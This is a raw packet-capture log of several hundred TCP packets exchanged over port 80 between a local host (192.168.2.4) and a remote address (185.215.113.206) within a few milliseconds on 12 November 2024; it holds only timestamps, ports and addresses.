Nov 12, 2024 15:41:20.893332958 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893349886 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893352985 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893364906 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893385887 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893389940 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893390894 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893402100 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893434048 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893461943 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893471003 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893481016 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893500090 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893521070 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893654108 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893699884 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893714905 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893735886 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893749952 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893755913 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893762112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893771887 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893784046 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893794060 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893810034 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893857002 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893868923 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893877029 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893886089 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893889904 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893897057 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.893910885 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.893929958 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894007921 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894018888 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894027948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894037962 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894047022 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894049883 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894057035 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894068956 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894083977 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894160986 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894171953 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894180059 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894188881 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894198895 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894201994 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894207954 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894217968 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894222975 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894222975 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894232035 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894254923 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894275904 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894306898 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894316912 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894332886 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894345999 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894356012 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894366980 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894370079 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894376040 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894386053 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894392014 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894392014 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894397020 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894408941 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894417048 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894428015 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894452095 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894467115 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894476891 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894484997 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894495010 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894505024 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894507885 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894515038 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894534111 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894535065 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894546032 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894555092 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894562960 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894563913 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894583941 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894587040 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894593000 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894598007 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894601107 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894604921 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894615889 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894624949 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894645929 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894669056 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894678116 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894685984 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894696951 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894706011 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894711971 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894738913 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894771099 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894784927 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894794941 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894805908 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894807100 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894819975 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894841909 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894854069 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894864082 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894872904 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894884109 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894895077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894895077 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894906044 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894915104 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894922972 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894948006 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.894961119 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894979000 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894989014 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.894992113 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895000935 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895003080 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895018101 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895021915 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895029068 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895034075 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895051003 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895066977 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895071030 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895108938 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895119905 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895129919 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895153046 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895165920 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895184994 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895195007 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895220995 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895275116 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895284891 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895293951 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895308018 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895320892 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895320892 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895325899 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895345926 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895354033 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895374060 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895409107 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895426035 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895437002 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895456076 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895467997 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895487070 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895497084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895505905 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895514965 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895518064 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895529032 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895546913 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895622015 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895632982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895642996 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895653963 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895654917 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895664930 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895673990 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895677090 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895684958 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895704031 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895705938 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895714998 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895719051 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895725012 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895735979 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895744085 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895750999 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895754099 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895766020 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895770073 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895776033 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895787001 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895788908 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895807981 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895831108 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895889044 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895899057 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895908117 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895916939 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895925999 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895926952 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895935059 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895935059 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895942926 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895947933 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895958900 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.895968914 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.895987988 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896008968 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896011114 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896023989 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896063089 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896073103 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896083117 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896084070 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896095991 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896102905 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896120071 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896126032 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896126032 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896132946 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896142006 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896152020 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896157026 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896169901 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896186113 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896214962 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896224976 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896234035 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896244049 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896251917 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896255016 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896265984 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896265984 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896275997 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896290064 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896292925 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896303892 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896313906 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896322012 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896344900 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896545887 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896555901 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896565914 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896584988 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896595955 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896604061 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896606922 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896621943 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896625042 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896631002 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896646023 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896646023 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896672964 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896675110 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896687031 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896697044 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896709919 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896717072 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896737099 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896815062 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896826029 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896835089 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896843910 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896861076 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896862030 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896871090 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896876097 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896882057 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896893978 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896900892 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896905899 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896912098 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896912098 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896933079 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896939993 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896945953 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896955967 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.896962881 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.896981001 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.897001982 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.897022009 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897037983 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897047997 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897057056 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897059917 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.897068024 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897068024 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.897089958 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.897113085 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.897145987 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897181034 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.897193909 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897202969 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897233963 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.897254944 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897267103 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897277117 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897298098 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.897310019 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.897840023 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897902012 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897913933 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897922993 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897933960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897942066 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.897963047 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.897973061 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897983074 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.897991896 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898001909 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898004055 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898013115 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898025990 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898051977 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898117065 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898128986 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898138046 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898148060 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898149967 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898159981 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898169041 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898175955 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898179054 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898188114 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898195982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898209095 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898211002 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898219109 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898228884 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898230076 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898236990 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898245096 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898247004 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898258924 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898260117 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898276091 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898287058 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898297071 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898319006 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898319960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898332119 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898340940 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898350954 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898351908 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898360014 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898364067 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.898372889 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898386955 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.898403883 CET	49751	80	192.168.2.4	185.215.113.206
